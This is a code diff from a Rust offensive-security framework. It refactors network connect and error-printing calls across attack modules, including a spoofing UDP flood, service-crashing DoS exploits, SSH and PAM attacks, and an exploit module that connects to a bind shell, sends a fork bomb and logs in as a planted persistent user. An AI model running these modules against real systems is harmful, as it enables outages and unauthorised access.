if matches!(self.payload_mode, PayloadMode::Random) {
rng.fill_bytes(&mut buf[self.payload_offset..self.payload_offset + self.payload_len]);
fill_bytes(rng, &mut buf[self.payload_offset..self.payload_offset + self.payload_len]);
}
// UDP checksum
@@ -237,7 +197,7 @@ impl PacketBuilder {
sum += u16::from_be_bytes([src_bytes[0], src_bytes[1]]) as u32;
sum += u16::from_be_bytes([src_bytes[2], src_bytes[3]]) as u32;
let udp_data = &buf[IPV4_HEADER_LEN..len];
sum = Self::sum_16(udp_data, sum);
sum = crate::native::dos_utils::sum_16(udp_data, sum);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
@@ -249,50 +209,6 @@ impl PacketBuilder {
len
}
#[inline(always)]
fn checksum_16(data: &[u8]) -> u16 {
let mut sum = Self::sum_16(data, 0);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
!(sum as u16)
}
#[inline(always)]
fn sum_16(data: &[u8], init: u32) -> u32 {
let mut sum = init;
let mut i = 0;
let len = data.len();
while i + 3 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
sum += u16::from_be_bytes([data[i + 2], data[i + 3]]) as u32;
i += 4;
}
if i + 1 < len {
sum += u16::from_be_bytes([data[i], data[i + 1]]) as u32;
i += 2;
}
if i < len {
sum += u16::from_be_bytes([data[i], 0]) as u32;
}
sum
}
}
fn gen_ipv4_public(rng: &mut FastRng) -> Ipv4Addr {
loop {
let raw = rng.next_u64() as u32;
let octets = raw.to_be_bytes();
match octets[0] {
0 | 10 | 127 => continue,
224..=255 => continue,
172 if (16..=31).contains(&octets[1]) => continue,
192 if octets[1] == 168 => continue,
169 if octets[1] == 254 => continue,
100 if (64..=127).contains(&octets[1]) => continue,
_ => return Ipv4Addr::new(octets[0], octets[1], octets[2], octets[3]),
}
}
}
// ============================================================================
@@ -388,7 +304,7 @@ fn worker_thread_standard(
global_bytes: Arc<AtomicU64>,
start_time: Instant,
) {
let socket = match UdpSocket::bind("0.0.0.0:0") {
let socket = match crate::utils::network::blocking_udp_bind(None) {
Ok(s) => s,
Err(e) => {
if worker_id == 0 {
@@ -415,7 +331,7 @@ fn worker_thread_standard(
}
}
PayloadMode::Random => {
rng.fill_bytes(&mut payload);
fill_bytes(&mut rng,&mut payload);
}
}
@@ -426,7 +342,7 @@ fn worker_thread_standard(
// Refresh random payload each iteration
if matches!(config.payload_mode, PayloadMode::Random) {
rng.fill_bytes(&mut payload);
fill_bytes(&mut rng,&mut payload);
}
match socket.send_to(&payload, dst) {
@@ -556,11 +472,8 @@ async fn gather_config(initial_target: &str) -> Result<UdpFloodConfig> {
PayloadMode::Random
};
let spoof_ip = cfg_prompt_yes_no(
"spoof_ip",
"Spoof source IP? (requires root, uses raw socket)",
false,
).await?;
let global_spoof = crate::native::dos_utils::is_spoof_enabled();
let spoof_ip = cfg_prompt_yes_no("spoof_ip", "Spoof source IP? (requires root)", global_spoof).await?;
let cpu_count = num_cpus::get();
let workers_input = cfg_prompt_default(
@@ -668,7 +581,7 @@ async fn execute_attack(config: UdpFloodConfig) -> Result<()> {
"[*] Packets: {:>12} | {:>8.2} MB | Rate: {:>10.0} pkt/s | {:>8.2} Mbps ",
pkts, bytes as f64 / (1024.0 * 1024.0), rate, mbps
).dimmed());
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
}
});
@@ -1,6 +1,5 @@
use anyhow::{Result, Context};
use colored::*;
use tokio::net::TcpStream;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use std::time::Duration;
use tokio::time::Instant;
@@ -76,9 +75,8 @@ pub async fn run(target: &str) -> Result<()> {
async fn measure_response(host: &str, port: u16, command: &str) -> Result<Duration> {
let addr = format!("{}:{}", host, port);
let mut stream = tokio::time::timeout(
std::time::Duration::from_secs(10), TcpStream::connect(&addr)
).await.context("Connection timed out")?.context("Failed to connect")?;
let mut stream = crate::utils::network::tcp_connect(&addr, std::time::Duration::from_secs(10))
.await.context("Failed to connect")?;
// Read Banner
let mut buf = vec![0u8; 1024];
@@ -39,7 +39,6 @@ use h2::Reason;
use std::net::ToSocketAddrs;
use std::sync::Arc;
use std::time::{Duration, Instant};
use tokio::net::TcpStream;
use tokio::time::timeout;
use tokio_rustls::TlsConnector;
use rustls::pki_types::ServerName;
@@ -152,9 +151,8 @@ async fn establish_h2_connection(
.next()
.context("Could not resolve target address")?;
let stream = timeout(Duration::from_secs(10), TcpStream::connect(socket_addr))
let stream = crate::utils::network::tcp_connect_addr(socket_addr, Duration::from_secs(10))
.await
.context("Connection timeout")?
.context("Failed to connect")?;
if use_ssl {
@@ -31,7 +31,6 @@ use std::io::{Read, Write};
use std::sync::atomic::{AtomicUsize, Ordering};
use std::sync::Arc;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::sync::Semaphore;
use tokio::time::{timeout, Duration};
@@ -566,12 +565,9 @@ async fn send_probe(addr: &str, doc_len: u32, buffer_size: u32) -> Result<Vec<Ve
header.extend_from_slice(&2012u32.to_le_bytes()); // opCode (OP_COMPRESSED)
// Connect with timeout
let mut stream = timeout(
Duration::from_secs(CONNECT_TIMEOUT_SECS),
TcpStream::connect(addr),
)
.await
.context("Connection timed out")??;
let mut stream = crate::utils::network::tcp_connect(addr, Duration::from_secs(CONNECT_TIMEOUT_SECS))
.await
.context("Connection failed")?;
// Send data
stream.write_all(&header).await?;
@@ -292,7 +292,7 @@ pub async fn run(target: &str) -> Result<()> {
.unwrap_or_else(|| std::path::PathBuf::from("."))
.join(".rustsploit")
.join("results");
if let Err(e) = std::fs::create_dir_all(&results_dir) { eprintln!("[!] Directory creation error: {}", e); }
if let Err(e) = std::fs::create_dir_all(&results_dir) { crate::meprintln!("[!] Directory creation error: {}", e); }
let filename = results_dir.join(format!("cve_2025_53521_{}.txt", host));
let report = format!(
"CVE-2025-53521 F5 BIG-IP APM RCE\nTarget: {}:{}\nStatus: {}\nIndicators: {}\nResponse:\n{}\n",
@@ -1,6 +1,5 @@
use anyhow::{Result, Context};
use colored::*;
use tokio::net::TcpStream;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio_rustls::rustls::pki_types::ServerName;
use std::time::Duration;
@@ -81,9 +80,8 @@ r#"<TEST_STORAGE type="elastic">
let addr = format!("{}:{}", target_ip, port);
crate::mprintln!("{} Connecting to {}...", "[*]".blue(), addr);
let stream = tokio::time::timeout(
std::time::Duration::from_secs(10), TcpStream::connect(&addr)
).await.context("Connection timed out")?.context("Failed to connect to target")?;
let stream = crate::utils::network::tcp_connect(&addr, std::time::Duration::from_secs(10))
.await.context("Failed to connect to target")?;
// TLS Handshake
let domain = ServerName::try_from(target_ip.as_str())
@@ -350,7 +350,7 @@ pub async fn run(target: &str) -> Result<()> {
.unwrap_or_else(|| std::path::PathBuf::from("."))
.join(".rustsploit")
.join("results");
if let Err(e) = std::fs::create_dir_all(&results_dir) { eprintln!("[!] Directory creation error: {}", e); }
if let Err(e) = std::fs::create_dir_all(&results_dir) { crate::meprintln!("[!] Directory creation error: {}", e); }
let filename = results_dir.join(format!("cve_2025_40602_{}.txt", host));
let report = format!(
"CVE-2025-40602 SonicWall SMA1000 RCE\n\
@@ -1,6 +1,5 @@
use anyhow::{Context, Result};
use colored::*;
use tokio::net::TcpStream;
use crate::utils::{cfg_prompt_default, cfg_prompt_required, cfg_prompt_port, cfg_prompt_yes_no, normalize_target};
const DEFAULT_PORT: u16 = 20001;
@@ -78,9 +77,8 @@ async fn exploit(host: &str, port: u16, dll_path: &str) -> Result<()> {
let addr = format!("{}:{}", host, port);
crate::mprintln!("[*] Connecting to {}...", addr);
let mut stream = tokio::time::timeout(
std::time::Duration::from_secs(10), TcpStream::connect(&addr)
).await.context("Connection timed out")?.context("Failed to connect to target")?;
let mut stream = crate::utils::network::tcp_connect(&addr, std::time::Duration::from_secs(10))
.await.context("Failed to connect to target")?;
// Message 0x0a8d structure:
// struct hdr { be32 MsgSize; byte unk[9]; };
@@ -1,6 +1,5 @@
use anyhow::{Context, Result};
use colored::*;
use tokio::net::TcpStream;
use crate::utils::{cfg_prompt_default, cfg_prompt_required, cfg_prompt_port, cfg_prompt_yes_no, normalize_target};
const DEFAULT_PORT: u16 = 20001;
@@ -71,9 +70,8 @@ async fn exploit(host: &str, port: u16) -> Result<()> {
let addr = format!("{}:{}", host, port);
crate::mprintln!("[*] Connecting to {}...", addr);
let mut stream = tokio::time::timeout(
std::time::Duration::from_secs(10), TcpStream::connect(&addr)
).await.context("Connection timed out")?.context("Failed to connect. Target might already be down.")?;
let mut stream = crate::utils::network::tcp_connect(&addr, std::time::Duration::from_secs(10))
.await.context("Failed to connect. Target might already be down.")?;
// Vulnerability: Message 0x1b5b "new protocol" expects data with CRLF.
// When strstr(data, "\r\n") returns NULL, it's not checked, causing crash.
@@ -122,11 +120,11 @@ async fn exploit(host: &str, port: u16) -> Result<()> {
crate::mprintln!("[*] Waiting 2 seconds then checking if target is down...");
tokio::time::sleep(tokio::time::Duration::from_secs(2)).await;
match tokio::time::timeout(std::time::Duration::from_secs(5), TcpStream::connect(&addr)).await {
Ok(Ok(_)) => {
match crate::utils::network::tcp_connect(&addr, std::time::Duration::from_secs(5)).await {
Ok(_) => {
crate::mprintln!("{}", "[-] Target still responding - may need multiple attempts.".yellow());
}
_ => {
Err(_) => {
crate::mprintln!("{}", "[+] Target DOWN! Connection refused/timeout.".green().bold());
crate::mprintln!("{}", "[+] MsgReceiver service has crashed.".green());
}
@@ -1,6 +1,5 @@
use anyhow::{Context, Result};
use colored::*;
use tokio::net::TcpStream;
use crate::utils::{cfg_prompt_default, cfg_prompt_required, cfg_prompt_port, cfg_prompt_yes_no, normalize_target};
const DEFAULT_PORT: u16 = 20001;
@@ -71,9 +70,8 @@ async fn exploit(host: &str, port: u16) -> Result<()> {
let addr = format!("{}:{}", host, port);
crate::mprintln!("[*] Connecting to {}...", addr);
let mut stream = tokio::time::timeout(
std::time::Duration::from_secs(10), TcpStream::connect(&addr)
).await.context("Connection timed out")?.context("Failed to connect. Target might already be down.")?;
let mut stream = crate::utils::network::tcp_connect(&addr, std::time::Duration::from_secs(10))
.await.context("Failed to connect. Target might already be down.")?;
// Vulnerability: Message 0x1b5b "old protocol" uses x_astring for fields.
// CIPCMsgBuffer_GetStringPtr() advances CurPos by x_astring.size without bounds check.
@@ -144,11 +142,11 @@ async fn exploit(host: &str, port: u16) -> Result<()> {
crate::mprintln!("[*] Waiting 2 seconds then checking if target is down...");
tokio::time::sleep(tokio::time::Duration::from_secs(2)).await;
match tokio::time::timeout(std::time::Duration::from_secs(5), TcpStream::connect(&addr)).await {
Ok(Ok(_)) => {
match crate::utils::network::tcp_connect(&addr, std::time::Duration::from_secs(5)).await {
Ok(_) => {
crate::mprintln!("{}", "[-] Target still responding - may need multiple attempts.".yellow());
}
_ => {
Err(_) => {
crate::mprintln!("{}", "[+] Target DOWN! Connection refused/timeout.".green().bold());
crate::mprintln!("{}", "[+] MsgReceiver service has crashed.".green());
}
@@ -1,6 +1,5 @@
use anyhow::Result;
use colored::*;
use tokio::net::TcpStream;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use std::time::Duration;
use crate::utils::{cfg_prompt_required, normalize_target, cfg_prompt_port};
@@ -47,13 +46,10 @@ pub async fn run(target: &str) -> Result<()> {
crate::mprintln!("{} Checking if circled daemon is accessible...", "[*]".blue());
// Try to connect to the circled daemon
let connect_result = tokio::time::timeout(
Duration::from_secs(10),
TcpStream::connect(&target_addr)
).await;
let connect_result = crate::utils::network::tcp_connect(&target_addr, Duration::from_secs(10)).await;
match connect_result {
Ok(Ok(mut stream)) => {
Ok(mut stream) => {
crate::mprintln!("{} Connected to circled daemon!", "[+]".green());
// The vulnerability is triggered when circled fetches circleinfo.txt
@@ -86,12 +82,9 @@ pub async fn run(target: &str) -> Result<()> {
crate::mprintln!();
crate::mprintln!("{} Reference: github.com/synacktiv/Netgear_Pwn2Own2021", "[*]".dimmed());
},
Ok(Err(e)) => {
Err(e) => {
crate::mprintln!("{} Connection failed: {}", "[-]".red(), e);
crate::mprintln!("{} Circled daemon may not be running or port is filtered.", "[*]".yellow());
},
Err(_) => {
crate::mprintln!("{} Connection timed out.", "[-]".red());
}
}
@@ -246,7 +246,7 @@ async fn exploit_dos_https(ip: &str) -> Result<()> {
return Ok(());
}
use tokio::net::TcpStream;
use tokio_rustls::rustls::pki_types::ServerName;
use tokio::io::AsyncWriteExt;
@@ -255,9 +255,8 @@ async fn exploit_dos_https(ip: &str) -> Result<()> {
let connector = crate::native::async_tls::make_dangerous_tls_connector();
// 2. Connect via TCP
let stream = tokio::time::timeout(
std::time::Duration::from_secs(10), TcpStream::connect((ip, 443))
).await.context("Connection timed out")?.context("Failed to connect to target port 443")?;
let stream = crate::utils::network::tcp_connect(&format!("{}:443", ip), std::time::Duration::from_secs(10))
.await.context("Failed to connect to target port 443")?;
// 3. Upgrade to TLS
// IP Address to ServerName conversion
@@ -31,7 +31,6 @@ use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use std::time::Duration;
use tokio::io::{AsyncBufReadExt, BufReader as TokioBufReader};
use tokio::net::TcpStream;
use tokio::sync::Semaphore;
use tokio::time::timeout;
@@ -464,8 +463,8 @@ async fn check_port_open(host: &str, port: u16) -> bool {
}
};
match timeout(Duration::from_secs(CONNECT_TIMEOUT_SECS), TcpStream::connect(socket_addr)).await {
Ok(Ok(_)) => true,
match crate::utils::network::tcp_connect_addr(socket_addr, Duration::from_secs(CONNECT_TIMEOUT_SECS)).await {
Ok(_) => true,
_ => false,
}
}
@@ -474,11 +473,8 @@ async fn check_port_open(host: &str, port: u16) -> bool {
async fn identify_vigi_device(host: &str) -> Result<bool> {
let addr = format!("{}:{}", host, DEFAULT_TELNET_PORT);
let stream = match timeout(
Duration::from_secs(CONNECT_TIMEOUT_SECS),
TcpStream::connect(&addr)
).await {
Ok(Ok(s)) => s,
let stream = match crate::utils::network::tcp_connect(&addr, Duration::from_secs(CONNECT_TIMEOUT_SECS)).await {
Ok(s) => s,
_ => return Ok(false),
};
@@ -15,8 +15,7 @@ use anyhow::Result;
use base64::{engine::general_purpose, Engine as _};
use colored::*;
use reqwest::{header::HeaderMap, Client};
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration};
use tokio::time::Duration;
use crate::utils::{normalize_target, cfg_prompt_port, cfg_prompt_required};
use crate::modules::creds::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
@@ -96,8 +95,8 @@ async fn execute(ip: &str, port: u16, username: &str, password: &str) -> Result<
// Check if the host is still up — timeout after 1 second
crate::mprintln!("{}", "[*] Checking if target is still reachable...".cyan());
match timeout(Duration::from_secs(1), TcpStream::connect((ip.trim_matches(&['[', ']'][..]), port))).await {
Ok(Ok(_)) => {
match crate::utils::network::tcp_connect(&format!("{}:{}", ip.trim_matches(&['[', ']'][..]), port), Duration::from_secs(1)).await {
Ok(_) => {
crate::mprintln!("{}", format!("[!] Target still responds on port {}. DoS may have failed.", port).yellow());
}
_ => {
@@ -217,23 +217,13 @@ async fn read_ssh_packet(stream: &mut TcpStream) -> Result<Vec<u8>> {
pub async fn check(target: &str) -> CheckResult {
let addr = format!("{}:{}", target, DEFAULT_PORT);
let stream = match tokio::time::timeout(
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
TcpStream::connect(&addr),
)
.await
{
Ok(Ok(s)) => s,
Ok(Err(e)) => {
let mut stream = match crate::utils::network::tcp_connect(&addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)).await {
Ok(s) => s,
Err(e) => {
return CheckResult::Unknown(format!("Failed to connect to {}: {}", addr, e))
}
Err(_) => {
return CheckResult::Unknown(format!("Connection to {} timed out", addr))
}
};
let mut stream = stream;
match read_server_banner(&mut stream).await {
Ok(banner) => {
let banner_lower = banner.to_lowercase();
@@ -293,13 +283,9 @@ pub async fn run(target: &str) -> Result<()> {
// Phase 1: Connect and exchange version strings
crate::mprintln!("{}", "[*] Phase 1: Connecting to SSH server...".cyan());
let mut stream = tokio::time::timeout(
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
TcpStream::connect(&addr),
)
.await
.context("Connection timed out")?
.context(format!("Failed to connect to {}", addr))?;
let mut stream = crate::utils::network::tcp_connect(&addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.await
.context(format!("Failed to connect to {}", addr))?;
crate::mprintln!("{}", "[+] TCP connection established.".green());
@@ -177,23 +177,13 @@ fn build_userauth_success() -> Vec<u8> {
pub async fn check(target: &str) -> CheckResult {
let addr = format!("{}:{}", target, DEFAULT_PORT);
let stream = match tokio::time::timeout(
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
TcpStream::connect(&addr),
)
.await
{
Ok(Ok(s)) => s,
Ok(Err(e)) => {
let mut stream = match crate::utils::network::tcp_connect(&addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)).await {
Ok(s) => s,
Err(e) => {
return CheckResult::Unknown(format!("Failed to connect to {}: {}", addr, e));
}
Err(_) => {
return CheckResult::Unknown(format!("Connection to {} timed out", addr));
}
};
let mut stream = stream;
match read_server_banner(&mut stream).await {
Ok(banner) => {
let banner_lower = banner.to_lowercase();
@@ -248,13 +238,9 @@ pub async fn run(target: &str) -> Result<()> {
// Phase 1: Connect and exchange version strings
crate::mprintln!("{}", "[*] Phase 1: Connecting to SSH server...".cyan());
let mut stream = tokio::time::timeout(
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
TcpStream::connect(&addr),
)
.await
.context("Connection timed out")?
.context(format!("Failed to connect to {}", addr))?;
let mut stream = crate::utils::network::tcp_connect(&addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.await
.context(format!("Failed to connect to {}", addr))?;
crate::mprintln!("{}", "[+] TCP connection established.".green());
@@ -143,23 +143,13 @@ fn is_version_vulnerable(major: u32, minor: u32, patch: u32) -> (bool, &'static
pub async fn check(target: &str) -> CheckResult {
let addr = format!("{}:{}", target, DEFAULT_PORT);
let stream = match tokio::time::timeout(
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
TcpStream::connect(&addr),
)
.await
{
Ok(Ok(s)) => s,
Ok(Err(e)) => {
let mut stream = match crate::utils::network::tcp_connect(&addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)).await {
Ok(s) => s,
Err(e) => {
return CheckResult::Unknown(format!("Failed to connect to {}: {}", addr, e));
}
Err(_) => {
return CheckResult::Unknown(format!("Connection to {} timed out", addr));
}
};
let mut stream = stream;
match read_server_banner(&mut stream).await {
Ok(banner) => {
let banner_lower = banner.to_lowercase();
@@ -225,13 +215,9 @@ pub async fn run(target: &str) -> Result<()> {
// Phase 1: Connect and grab banner
crate::mprintln!("{}", "[*] Connecting to SSH server...".cyan());
let mut stream = tokio::time::timeout(
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
TcpStream::connect(&addr),
)
.await
.context("Connection timed out")?
.context(format!("Failed to connect to {}", addr))?;
let mut stream = crate::utils::network::tcp_connect(&addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.await
.context(format!("Failed to connect to {}", addr))?;
crate::mprintln!("{}", "[+] TCP connection established.".green());
@@ -6,7 +6,7 @@ use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{sleep, Duration, Instant};
use tokio::sync::Semaphore;
use futures_util::stream::{FuturesUnordered, StreamExt};
use futures::stream::{FuturesUnordered, StreamExt};
use crate::utils::{cfg_prompt_port, cfg_prompt_default};
use crate::modules::creds::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
@@ -125,9 +125,8 @@ async fn handle_bind_shell_session(conn: TcpStream) -> anyhow::Result<()> {
async fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
let addr = normalize_target(ip, port)?;
let stream = tokio::time::timeout(
Duration::from_secs(10), TcpStream::connect(&addr)
).await.with_context(|| format!("Connection to {} timed out", addr))?.with_context(|| format!("Failed to connect to {}", addr))?;
let stream = crate::utils::network::tcp_connect(&addr, Duration::from_secs(10))
.await.with_context(|| format!("Failed to connect to {}", addr))?;
Ok(stream)
}
@@ -346,28 +345,25 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16, mode_choice: u8
crate::mprintln!("[*] Attempting to connect to bind shell on port {}...", BIND_SHELL_PORT);
let bind_shell_target_addr = format!("{}:{}", ip_clone, BIND_SHELL_PORT);
sleep(Duration::from_secs(2)).await;
match tokio::time::timeout(Duration::from_secs(5), TcpStream::connect(&bind_shell_target_addr)).await {
Ok(Ok(conn_stream)) => {
match crate::utils::network::tcp_connect(&bind_shell_target_addr, Duration::from_secs(5)).await {
Ok(conn_stream) => {
if let Err(e) = handle_bind_shell_session(conn_stream).await {
crate::mprintln!("[!] Bind shell session error: {}", e);
}
}
Ok(Err(e)) => {
Err(e) => {
crate::mprintln!("[!] Could not connect to bind shell at {}: {}", bind_shell_target_addr, e);
crate::mprintln!("[!] The race condition crashed sshd but the heap layout may not have produced a shell.");
crate::mprintln!("[!] Try increasing attempts or use a different glibc base address.");
}
Err(_) => {
crate::mprintln!("[!] Connection to bind shell timed out at {}", bind_shell_target_addr);
}
}
}
2 => {
// Attempt SSH login with the persistent user created by the shellcode
crate::mprintln!("[*] Attempting SSH login as '{}' to verify persistent user...", PERSISTENT_USER);
let ssh_addr = format!("{}:{}", ip_clone, port_num);
match tokio::time::timeout(Duration::from_secs(10), TcpStream::connect(&ssh_addr)).await {
Ok(Ok(_)) => {
match crate::utils::network::tcp_connect(&ssh_addr, Duration::from_secs(10)).await {
Ok(_) => {
crate::mprintln!("[+] SSH port is open. Try: ssh {}@{} (password: {})", PERSISTENT_USER, ip_clone, PERSISTENT_PASS);
}
_ => {
@@ -379,16 +375,16 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16, mode_choice: u8
crate::mprintln!("[!] Fork bomb payload sent via heap corruption. Target may be unresponsive.");
// Verify target is down
let ssh_addr = format!("{}:{}", ip_clone, port_num);
match tokio::time::timeout(Duration::from_secs(5), TcpStream::connect(&ssh_addr)).await {
Ok(Ok(_)) => crate::mprintln!("[*] Target still responding — fork bomb may not have triggered."),
_ => crate::mprintln!("[+] Target unresponsive — DoS successful."),
match crate::utils::network::tcp_connect(&ssh_addr, Duration::from_secs(5)).await {
Ok(_) => crate::mprintln!("[*] Target still responding — fork bomb may not have triggered."),
Err(_) => crate::mprintln!("[+] Target unresponsive — DoS successful."),
}
}
4 => {
crate::mprintln!("[*] Interactive PTY shell — attempting to connect to spawned /bin/sh...");
let bind_addr = format!("{}:{}", ip_clone, BIND_SHELL_PORT);
match tokio::time::timeout(Duration::from_secs(5), TcpStream::connect(&bind_addr)).await {
Ok(Ok(conn_stream)) => {
match crate::utils::network::tcp_connect(&bind_addr, Duration::from_secs(5)).await {
Ok(conn_stream) => {
crate::mprintln!("[+] Connected! Entering interactive session...");
if let Err(e) = handle_bind_shell_session(conn_stream).await {
crate::mprintln!("[!] Session error: {}", e);
@@ -118,7 +118,7 @@ pub async fn attack_password_length_dos(
let password: String = std::iter::repeat('A').take(len).collect();
crate::mprint!(" Testing {} bytes... ", len);
if let Err(e) = std::io::stdout().flush() { eprintln!("[!] Stdout flush error: {}", e); }
if let Err(e) = std::io::stdout().flush() { crate::meprintln!("[!] Stdout flush error: {}", e); }
match time_auth_attempt(host, port, username, &password, 30) {
Some((time, _success, msg)) => {
@@ -282,7 +282,7 @@ pub async fn attack_auth_timing(
for user in usernames {
crate::mprint!("\r[*] Testing: {} ", user);
if let Err(e) = std::io::stdout().flush() { eprintln!("[!] Stdout flush error: {}", e); }
if let Err(e) = std::io::stdout().flush() { crate::meprintln!("[!] Stdout flush error: {}", e); }
let mut times = Vec::new();
for i in 0..samples {
@@ -367,7 +367,7 @@ pub async fn attack_bcrypt_truncation(
for (name, password) in &passwords {
crate::mprint!("[*] Testing {} password... ", name);
if let Err(e) = std::io::stdout().flush() { eprintln!("[!] Stdout flush error: {}", e); }
if let Err(e) = std::io::stdout().flush() { crate::meprintln!("[!] Stdout flush error: {}", e); }
match time_auth_attempt(host, port, username, password, 15) {
Some((time, success, msg)) => {
+3 -3
View File
@@ -141,7 +141,7 @@ pub async fn attack_pam_memory_dos(
for i in 0..iterations {
if i % 10 == 0 {
crate::mprint!("\r[*] Progress: {}/{} (success: {}, fail: {}) ", i, iterations, successful, failed);
if let Err(e) = std::io::stdout().flush() { eprintln!("[!] Stdout flush error: {}", e); }
if let Err(e) = std::io::stdout().flush() { crate::meprintln!("[!] Stdout flush error: {}", e); }
}
// Try authentication with invalid credentials
@@ -210,7 +210,7 @@ pub async fn attack_pam_username_overflow(
let username: String = std::iter::repeat('A').take(len).collect();
crate::mprint!(" Testing {} bytes... ", len);
if let Err(e) = std::io::stdout().flush() { eprintln!("[!] Stdout flush error: {}", e); }
if let Err(e) = std::io::stdout().flush() { crate::meprintln!("[!] Stdout flush error: {}", e); }
let start = Instant::now();
let result = time_auth_attempt(host, port, &username, "test", 15);
@@ -322,7 +322,7 @@ pub async fn attack_pam_timing(
for user in usernames {
crate::mprint!("\r[*] Testing: {} ", user);
if let Err(e) = std::io::stdout().flush() { eprintln!("[!] Stdout flush error: {}", e); }
if let Err(e) = std::io::stdout().flush() { crate::meprintln!("[!] Stdout flush error: {}", e); }
let mut times = Vec::new();
for _ in 0..samples {
@@ -5,7 +5,6 @@ use colored::*;
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use std::time::Duration;
use tokio::net::TcpStream;
use tokio::io::{AsyncReadExt, AsyncWriteExt, AsyncBufReadExt, BufReader as TokioBufReader};
use tokio::sync::Semaphore;
use tokio::sync::mpsc;
@@ -297,7 +296,7 @@ impl TelnetExploit {
pub async fn run_exploit(&mut self, timeout_secs: u64, interactive: bool) -> Result<String> {
let addr = format!("{}:{}", self.host, self.port);
let stream = tokio::time::timeout(Duration::from_secs(timeout_secs), TcpStream::connect(&addr)).await??;
let stream = crate::utils::network::tcp_connect(&addr, Duration::from_secs(timeout_secs)).await?;
let (reader, mut writer) = stream.into_split();
let mut reader = TokioBufReader::new(reader);
@@ -361,8 +360,8 @@ impl TelnetExploit {
async fn quick_check(ip: &str, port: u16, _user: &str) -> bool {
let addr = format!("{}:{}", ip, port);
match tokio::time::timeout(Duration::from_secs(5), TcpStream::connect(&addr)).await {
Ok(Ok(mut stream)) => {
match crate::utils::network::tcp_connect(&addr, Duration::from_secs(5)).await {
Ok(mut stream) => {
let mut buf = [0u8; 1024];
if let Err(e) = stream.write_all(&[IAC, WILL, OPT_NEW_ENVIRON]).await { crate::meprintln!("[!] Write error: {}", e); }
match tokio::time::timeout(Duration::from_secs(3), stream.read(&mut buf)).await {
@@ -19,7 +19,6 @@ use anyhow::{Context, Result, bail};
use colored::*;
use std::time::Duration;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use crate::module_info::{ModuleInfo, ModuleRank, CheckResult};
use crate::utils::{cfg_prompt_default, cfg_prompt_port, normalize_target};
use crate::cred_store::{store_credential, CredType};
@@ -94,13 +93,9 @@ fn build_password_message(password: &str) -> Vec<u8> {
/// Returns Ok(true) if auth succeeds, Ok(false) if auth fails, Err on connection issues.
async fn try_pg_auth(host: &str, port: u16, user: &str, password: &str, database: &str) -> Result<bool> {
let addr = format!("{}:{}", host, port);
let stream = tokio::time::timeout(
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
TcpStream::connect(&addr),
)
.await
.context("Connection timed out")?
.context(format!("Failed to connect to {}", addr))?;
let stream = crate::utils::network::tcp_connect(&addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.await
.context(format!("Failed to connect to {}", addr))?;
let (mut reader, mut writer) = tokio::io::split(stream);
@@ -202,15 +197,14 @@ async fn try_pg_auth(host: &str, port: u16, user: &str, password: &str, database
/// Non-destructive vulnerability check.
pub async fn check(target: &str) -> CheckResult {
let addr = format!("{}:{}", target, DEFAULT_PORT);
match tokio::time::timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), TcpStream::connect(&addr)).await {
Ok(Ok(_)) => CheckResult::Vulnerable(
match crate::utils::network::tcp_connect(&addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)).await {
Ok(_) => CheckResult::Vulnerable(
"PostgreSQL port 5432 is open and accepting connections. Default credentials may be in use."
.to_string(),
),
Ok(Err(_)) => {
Err(_) => {
CheckResult::NotVulnerable("PostgreSQL port 5432 is closed or refused".to_string())
}
Err(_) => CheckResult::Unknown("Connection timed out - port may be filtered".to_string()),
}
}
@@ -251,18 +245,14 @@ pub async fn run(target: &str) -> Result<()> {
// Phase 1: Port check
crate::mprintln!("{}", "[*] Phase 1: Checking PostgreSQL port accessibility...".cyan());
let addr = format!("{}:{}", normalized, port);
match tokio::time::timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), TcpStream::connect(&addr)).await {
Ok(Ok(_)) => {
match crate::utils::network::tcp_connect(&addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)).await {
Ok(_) => {
crate::mprintln!("{}", format!("[+] Port {} is open", port).green());
}
Ok(Err(e)) => {
Err(e) => {
crate::mprintln!("{}", format!("[-] Port {} is closed: {}", port, e).red());
bail!("PostgreSQL port is not accessible");
}
Err(_) => {
crate::mprintln!("{}", format!("[-] Connection to port {} timed out", port).red());
bail!("Connection timed out");
}
}
// Phase 2: Authentication attempt
@@ -364,7 +364,7 @@ pub async fn run(target: &str) -> Result<()> {
.unwrap_or_else(|| std::path::PathBuf::from("."))
